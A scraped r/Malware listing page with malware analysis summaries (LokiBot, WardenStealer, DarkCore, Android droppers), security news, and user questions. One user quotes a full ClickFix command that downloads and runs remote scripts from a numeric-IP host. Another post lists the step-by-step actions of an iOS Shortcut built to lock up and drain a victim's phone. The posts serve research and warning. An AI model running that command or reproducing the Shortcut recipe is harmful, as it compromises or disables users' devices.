r/Malware • • Mar 16 '16

Please view before posting on /r/malware!

171 Upvotes

This is a place for malware technical analysis and information. This is NOT a place for help with malware removal or various other end-user questions. Any posts related to this content will be removed without warning.

Questions regarding reverse engineering of particular samples or indicators to assist in research efforts will be tolerated to permit collaboration within this sub.

If you have any questions regarding the viability of your post please message the moderators directly.

If you're suffering from a malware infection please enquire about it on /r/techsupport and hopefully someone will be willing to assist you there.


r/Malware • • 6h ago

Two_Zero addon for touch designer

Post image
2 Upvotes

has anyone heard of twozero? its a touchdesigner ai addon and was wondering if its malware? TWOZERO — AI inside TouchDesigner


r/Malware • • 11h ago

I believe that I have made the most annoying proof of concept Shortcuts "malware" to date.

Thumbnail gallery
1 Upvotes

To be clear, calling this malware is a bit of a stretch. There's not really any infostealing going on here, rather just something that will annoy a victim and disable their phone.

I've been working on this shortcut "Chokehold" for a while. It drains battery super fast and can even partially obstruct the user from powering off their iPhone via the slider (hard reset still works, of course).

The basic foundation is that it creates an infinite loop by running itself. In this loop, it does many annoying things to drain the battery and to render the victim's phone useless while the shortcut is running.

But there is one issue. Apple has made it so that only 1 instance of a shortcut can run at a time, and that the system waits for a small amount of time before starting the new instance of the shortcut. This gives the user more than enough time to just hit the stop icon in the Shortcuts app.

How does my Shortcut solve this? Well, it uses the shortcuts:// URL handler to run the shortcut instead of an action. Because of how Apple implemented this spawning method, it creates a race condition where two instances of the same shortcut are running at once for a fraction of a second. A side effect of this is that the Shortcuts app now opens every time the loop runs, but this of course can be easily mitigated by those aforementioned annoying actions that kick you to the lock screen and home screen so you don't have time to press the stop button.

Pair this with the right actions such as toggle appearance, which causes the phone to stall for a second while toggling dark mode, and this becomes a pretty effective shortcut for disabling someone's phone. As I said before, this can even prevent the user from turning off their phone through the software, though it's absolutely not impossible.

Here are the actions in the shortcut and the purpose they serve:

  • Lock the screen

    • To immediately combat Shortcuts opening from the previous run
  • Show notification "(any text)"

    • Primarily an annoyance and battery drainer (vibration, sound)
  • Toggle appearance

    • Stalls the phone
  • Open URL "shortcuts://run-shortcut?name=(shortcut name)"

    • Spawns a new instance of the shortcut, every action below this still runs even while the new one is spawned (max. 3 ASYNC actions, if you're lucky. non async actions that pause the execution of the next will limit this. it depends on when the Shortcuts app finally kills the already active process)
  • Toggle appearance

    • Stalls the phone again (to combat Shortcuts opening)
  • Go to Home Screen

    • To combat Shortcuts opening

Some weak points of Chokehold:

  • Chokehold does not affect all iPhone models equally. Slower models might be able to escape, since the pause between the actions that prevent you from interacting with the Shortcuts app can become longer.

    • This also applies to newer iPhones, just only when they're thermal throttling.
  • Chokehold does not prevent the user from hard resetting the phone.
  • Chokehold does not persist after a reboot.
  • An Enable Zoom action might help prevent a user from stopping the shortcut, but in my testing, it adds too much execution time for the race condition to succeed.
  • As Shortcuts now describes what the shortcut does with Siri AI by default, rather than showing the actions, it can be made very obvious to the user that the shortcut is malicious, and therefore it will be hard to convince people to run it in the first place.

r/Malware • • 20h ago

Fake YimMenuV2 mod menu website-containing powerful info stealer malware-Vm detection-changes passwords for EA- RIOT-Microsoft-Discord-Google

2 Upvotes

r/Malware • • 22h ago

Reversed a Hijacked LokiBot Sample: Someone Patched In Their Own C2 Over the Original

2 Upvotes

Hi all, I reversed a LokiBot sample that turned out to be a hijacked build and wrote up the analysis. Everything is static, I never ran it.

Quick summary:

- 106 KB PE32 from 2016 with almost no imports. Every API is resolved at runtime by walking the PEB and the export tables and comparing a CRC32 hash. The CRC is modified: constant 0x4358AD54 and XOR before the shift, so the textbook version doesn't match anything

- The executable has an extra section called .x. Somebody replaced the last instruction of the function that calls CryptDecrypt with a jmp into it, and the stub overwrites the decrypted C2 with hxxp://brysonsqroup[.]com/five/fre.php. The original 4 C2s are still in .rdata, 3DES-encrypted, and never used. I decrypted them statically (alphastand[.]trade/win/top and kbfvzoboss[.]bid, all /alien/fre.php)

- HTTP header strings are encrypted with a modified RC4 (no swap in the key setup, index starts at 1), key KOSFKF. User-Agent is the classic "Mozilla/4.08 (Charon; Inferno)"

- I mapped the binary packet: version 0x12, type 0x28 (check-in) or 0x27 (credentials), the "ckav.ru" marker, user/computer/domain, screen size, admin flags, OS version and a bot ID that's the first 24 hex chars of MD5(MachineGuid). A local .hdb file keeps CRCs of reports already sent so nothing goes out twice

- For Firefox it borrows Firefox's own sqlite3/nss3 DLLs and calls PK11SDR_Decrypt. If Firefox is 64-bit it starts a hidden copy and injects ~2.8 KB of x64 code (built on the stack with mov instructions) that decrypts logins.json from inside

- C2 commands: download and run EXE, download and load DLL, resend everything, update, uninstall

- Persistence: copies itself to %APPDATA%\<6 chars of the bot ID>\<6 chars>.exe, hidden+system, plus a Run key whose path is itself 3DES-encrypted in the binary

I worked out the algorithms and used Claude to help write the Python scripts for the decryption and for rebuilding the injected x64 code.

Full writeup with IOCs: https://inkman97.github.io/lokibot-analysis/


r/Malware • • 2d ago

Zero-Import Persistence: How Malicious Python .pth Files Hijack Every Interpreter Launch

Thumbnail mohitdabas.in
1 Upvotes

r/Malware • • 2d ago

Detailed analysis of a two-stage Android Trojan masquerading as JustWatch (evades Play Protect via dummy VPN, anti-removal via Accessibility)

1 Upvotes

Hi all,

I recently encountered an Android malware sample masquerading as the JustWatch app. After reversing it, I discovered several interesting evasion and anti-removal techniques that I wanted to share with the community and threat intel researchers.

The dropper (JustWatch1.apk / com.twvs.sjbctyjz) requests VPN permissions and launches a local VpnService (com.shell.a.PpVpn) configured as:

It selectively routes all traffic for Google Play Services and the Google Play Store into an unreachable local IP (10.99.0.1), effectively blackholing Play Protect cloud queries and signature updates while allowing the malware's own traffic to bypass the tunnel.

While the VPN is being established, it displays a full-screen WebView (installing.html) with touch events disabled (touch-action: none; overscroll-behavior: none) and a fake Google Play progress bar. In the background, it drops and installs a 23.5 MB secondary payload (b.apk / com.bandxi.lampt.grid) via the PackageInstaller session API.

The second stage APK has no LAUNCHER category or MAIN action, so it never appears in the app drawer.

The secondary stage demands Accessibility permissions (SystemUpdateController). It contains a multi-language keyword dictionary (locateValues.json) monitoring window node changes. Whenever the user navigates into Settings to click "Uninstall", "Force Stop", or "Clear Data", the accessibility service intercepts the click or triggers GLOBAL_ACTION_BACK / GLOBAL_ACTION_HOME to kick the user out of Settings.

The secondary payload contains:

Both samples have been reported to the Google Play Protect PHA team and DeepSeek.


r/Malware • • 2d ago

Old malware experience !

Thumbnail reddit.com
0 Upvotes

r/Malware • • 3d ago

Emulating VBScript Execute chains and environment checks for static maldoc triage: notes from building an analyzer

4 Upvotes

I maintain MaldocTrace, an open-source maldoc analyzer (disclosure: I'm the author). The newest release focuses on OneNote droppers, and I wanted to share what it took to recover the final command from IcedID, Emotet and Gozi .one samples without execution, since a lot of the obstacles are generic.

1. The payload is built at run time. These scripts concatenate, Replace() and Chr() their way to a string and pass it to Execute or ExecuteGlobal. A regex over the source sees noise. Running the statements in an emulator and handing the built string back to the interpreter unwinds the obfuscation layer by layer.

2. Stages are written to disk and launched. A typical chain writes a small .vbs and a larger file with a harmless extension (.html), then runs wscript /e:vbscript file.html. The emulator keeps a virtual file system, so when a written file is launched it is analyzed as the next stage, with its own hash and report.

3. Some branches depend on things that never happen in a static run. For example "if the downloaded file is larger than N bytes, run it". Without a network the condition is false and the interesting branch is never reached. When a condition can't be resolved, both sides are explored and the events from the unresolved side are marked speculative, so the analyst knows which commands are certain and which are conditional.

Example: IcedID OneNote dropper, SHA-256 4cdab0573e8b094fe8937a00c833cee67b8ccd9dbb5ae706624e5c12bdb7ae21. The chain it recovers:

OneNote FileDataStoreObject (49 KB VBScript)
  -> writes %TEMP%\rad5F3A1A3F5dar.vbs and %TEMP%\rad5F3A1A3F5dar.html, runs the .vbs
  -> wscript /e:vbscript %TEMP%\rad5F3A1A3F5dar.html
  -> rundll32.exe "C:\Users\user\AppData\Local\Temp\rad5F3A1.tmp.html",#1

The three intermediate scripts come out with their SHA-256 as IOCs (61e30e50…, 71490a53…, 833d25d9…), and the second-stage URL is among the indicators of the last stage.

Limitations, to be upfront: it's an emulator, so it covers a supported subset of VBScript/VBA and the Windows objects malware commonly uses. When it hits something it doesn't model, the report says partial instead of guessing.

Code and docs: https://github.com/debugactiveprocess/MaldocTrace

I'd like to hear about chains it fails on.


r/Malware • • 3d ago

Bazuka Android malware steals banking credentials and cryptocurrency addresses

Thumbnail threatfabric.com
8 Upvotes

Dutch security company ThreatFabric has documented Bazuka, a previously unknown modular Android malware framework.

The malware includes 23 modules capable of keylogging, intercepting SMS and authentication codes, remotely controlling devices and replacing cryptocurrency addresses.

One unusual feature allows the malware to capture the phone's home or lock screen and display that image as a fake overlay, concealing malicious activity occurring behind it.

Bazuka also integrates AI tools into its criminal control panel to help operators manage infections.

A compromised Android phone can expose banking information, two-factor authentication codes and cryptocurrency transfers. A fake screen may prevent the victim from noticing unauthorized activity.


r/Malware • • 4d ago

Reversed a VIP Keylogger Sample Delivered via a Signed LuaJIT Host

7 Upvotes

Hi all, I reversed a VIP Keylogger sample with an unusual delivery chain and wrote up the analysis.

Quick summary:

- It starts as a ~4 MB JScript that's almost all padding (one Unicode character repeated tens of thousands of times) and functions that never get called

- The dropper removes its own Mark-of-the-Web and drops a LuaJIT interpreter, its DLL and a Lua script. The interpreter and DLL are legit and signed by Sangfor Technologies. Only the Lua script is malicious

- The Lua script is obfuscated with Prometheus: a rotated constant table and base64 with a shuffled alphabet. I worked out the algorithms and used Claude to rewrite them in Python

- Through LuaJIT's FFI it patches AMSI and ETW, fills memory with decoy strings, decrypts the embedded payload and hollows it into MSBuild.exe

- There's a hidden persistence path, a Run key with a null-prefixed name so regedit can't show it, but it's switched off in this build

- The payload is VIP Keylogger. It goes after browser passwords, cookies and cards, mail clients, Wi-Fi profiles and the Windows product key

- Exfil is SMTP via hosting2.ro.hostsailor[.]com and a Telegram bot. There are also some unused DDNS hosts on port 8081 in the code

Full writeup with IOCs: https://inkman97.github.io/vipkeylogger-analysis/


r/Malware • • 4d ago

idk.. this could be the 1st LoongArch (258) cpu RAT malware (Linux/EasyShell)

Thumbnail blog.malwaremustdie.org
2 Upvotes

r/Malware • • 5d ago

Reversed WardenStealer Malware

3 Upvotes

Hi all, I reversed WardenStealer, a new infostealer that first showed up this summer, and wrote up the analysis.

Quick summary:

- It is a fake jli.dll that gets side-loaded by a legit java.exe

- Stage 1 uses heavy control-flow flattening and opaque predicates. Ghidra struggled with it, and plain linear disassembly worked better

- Every string is encrypted on its own with a custom 3-layer decoder: base64 with a shuffled alphabet, an LCG XOR keystream and an LZ-style decompressor. I used Claude rewriting it in Python and decoded about 500 strings

- Stage 2 is a Rust DLL that only ever lives in RWX memory

- It checks for VMs and sandboxes. In my lab it just showed a "yolo" message box and quit

- It goes after browser creds and cookies, crypto wallets, Discord, Steam and Roblox sessions, and takes screenshots

- C2 is phigerma[.]quest

Full writeup with IOCs and scripts: https://inkman97.github.io/wardenstealer-analysis/

Some parts are still open, like which VM check makes it bail out and how the C2 protocol works. Feedback is welcome, and so is anyone else who has a sample.


r/Malware • • 5d ago

Popular websites compromised in bid to steal crypto, target iPhone users

Thumbnail reuters.com
1 Upvotes

(Partial excerpt)

Nov 16 (Reuters) - Some of the world's most visited websites, including ​those of Zoom (ZM.O), opens new tab, HSBC (HSBA.L), opens new tab, Equifax (EFX.N), opens new tab, CNN, Salesforce (CRM.N), opens new tab and Ikea, were compromised in an effort to ‌steal cryptocurrency and infect iPhones, a security researcher said on Monday.

Malicious JavaScript was aimed at visitors to websites belonging to 178 organizations across multiple sectors through Optimizely, a website optimization platform, according to researcher Scott Helme. Optimizely confirmed the incident and said it had ​identified "a security incident in which an unauthorized party exploited a vulnerability in Experimentation and used ​it to add malicious JavaScript to some customer projects."

According to Helme, the scripts attempted ⁠to replace cryptocurrency payment addresses with the attacker's wallet. The malicious script also sought to capture payment card ​details as users entered them, steal cookies and screenshots, and deploy exploit code targeting Apple's (AAPL.O), opens new tab iOS devices, Helme ​said. Cybersecurity firm Hudson Rock said it had also found evidence that the affected sites had served malicious code to visitors.


r/Malware • • 5d ago

I accidentally got malware attack

0 Upvotes

so i stupidly got into this cloudfare website where it ask me to bypass the human test, I was aware this website looks sus and i still follow the step it told me.

set "__VSCMD_WIN_64BIT=true"&& cd %tmp%& curl.exe -sLo %tmp%\loop.txt 1441424556/980?If1OS7&& curl.exe -sLo %tmp%\S001.ps1 1441424556/990?If1OS7&& for /f "delims=" %i in (loop.txt) do %i

that’s the script i ran.

I noticed something wrong and remove my wifi and lan connection in 1 minute.

Checked temp folder and found S001 and loop files. Run offline windows security check no threat, check task scheduled nothing weird.

I also using kvrt now and it’s not done yet, also i already change all of my accounts credential from my emails, my apps like discords, steam and more. But i’m still afraid of the risk. Need someone to help me with this.


r/Malware • • 6d ago

Microsoft's official Python agent framework hijacked to distribute malware

Thumbnail theregister.com
4 Upvotes

r/Malware • • 6d ago

New DarkCore RAT Static Analysis

2 Upvotes

I did a fully static analysis of a sample of DarkCore, a newly emerged RAT (first advertised on forums in August, infections seen since late October according to BlackFog). This build is v3.8.0.

The chain has five stages:

  • VBS: hundreds of junk lines; the real blob is split across four functions, then base64 + XOR decoded into a second VBS.
  • Stage 2 VBS: reads its own original file and rebuilds a payload hidden in 1,900 comment lines (base93 + a custom Feistel cipher), producing a PowerShell script.
  • PowerShell: decrypts a .NET loader and the final payload, and loads the DLL in memory, finding AppDomain.Load(byte[]) by its signature via reflection instead of calling it by name.
  • .NET loader (Crypto Obfuscator, DES-encrypted string tables): process hollowing into RegSvcs.exe.
  • Native x64 RAT.

Some highlights from the RAT:

  • The config is XOR-encrypted in a custom .data2 section; I recovered the C2 (162.55.4[.]179:4869) and a 32-byte pre-shared key.
  • The C2 channel is surprisingly solid: X25519 ephemeral handshake, BLAKE2s KDF mixing in the PSK, ChaCha20-Poly1305 packets, basically WireGuard’s crypto stack. Captured traffic can’t be decrypted even with the config.
  • Plugins arrive as AES-GCM-encrypted PE modules.
  • Strings point to HVNC, remote desktop, keylogging, DPAPI credential theft and ETW/AMSI tampering. HVNC lets the operator act inside the victim’s already-authenticated browser sessions, which defeats a lot of anti-fraud checks.
  • Even though there isn't a geolocalization about the development of this malware, there’s a CIS geofence (Russia, Belarus, Kazakhstan, Uzbekistan, checked via GeoID, locale, time zone and keyboard layout) that makes the bot quit silently before contacting the C2. This can be an hint that the first development was made in Russia. It was disabled in this build.

Full analysis can be found here: https://inkman97.github.io/darkcore-analysis/


r/Malware • • 7d ago

CRPx0 ransomware deploys Python, disrupts security tools, deletes Volume Shadow Copies, and creates scheduled-task persistence before encrypting files.

Post image
11 Upvotes

r/Malware • • 7d ago

Trigram Campaign Impersonates 50 Brands to Infect Developers

Thumbnail kylesinvestigation.com
1 Upvotes

r/Malware • • 8d ago

Malware served through Optimizely hit BBC, Zoom and 176 other organizations

Thumbnail runtimewire.com
25 Upvotes

r/Malware • • 10d ago

Android TV & Google TV Forensic Suite (BadBox, XCPE, Vo1d & Malware Remediation)

5 Upvotes

Just launched on github: https://github.com/Mafarricos/badbox-tv-audit

To check if your android tv box (google tv, android tv) if there is malware and tries to fix it.
Mostly because this new XCPE Botnet discovered.

Let me know if it helped, it's optimized to be run by your AI agent, but if you understand scripts you can run it by yourself


r/Malware • • 12d ago

A hijacked discord invite within the Metis foundation community is being used to spread malware to the community + full analysis

8 Upvotes

Earlier last month, we discovered that a new malware campaign was launched using a hijacked Discord invite on the Metis Foundation community, where a fake GuildPass verification bot would convince users to verify their identity through a command in their CMD, resulting in a full compromise of the victim's machine

We tried to contact and notify Metis about this multiple times through LinkedIn and X, and we haven't heard back from them, so we decided to publish our research as a warning to their community since there are more than 630 users affected by this

We published two blogs on this topic: an overview blog explaining the attack and what to do if you ever ran the commands from the fake GuildPass bot

https://www.riven-labs.com/blogs/metis-s-offical-discord-link-now-leads-to-a-malware-trap

And another heavy technical blog where we showcased our research analyzing the malware and sharing everything in detail:

https://www.riven-labs.com/blogs/from-clickfix-to-full-compromise-analyzing-the-multi-stage-malware-behind-the-fake-metis-discord


r/Malware • • 13d ago

Active ScreenConnect attacks breach MSPs, impact dozens of organizations

3 Upvotes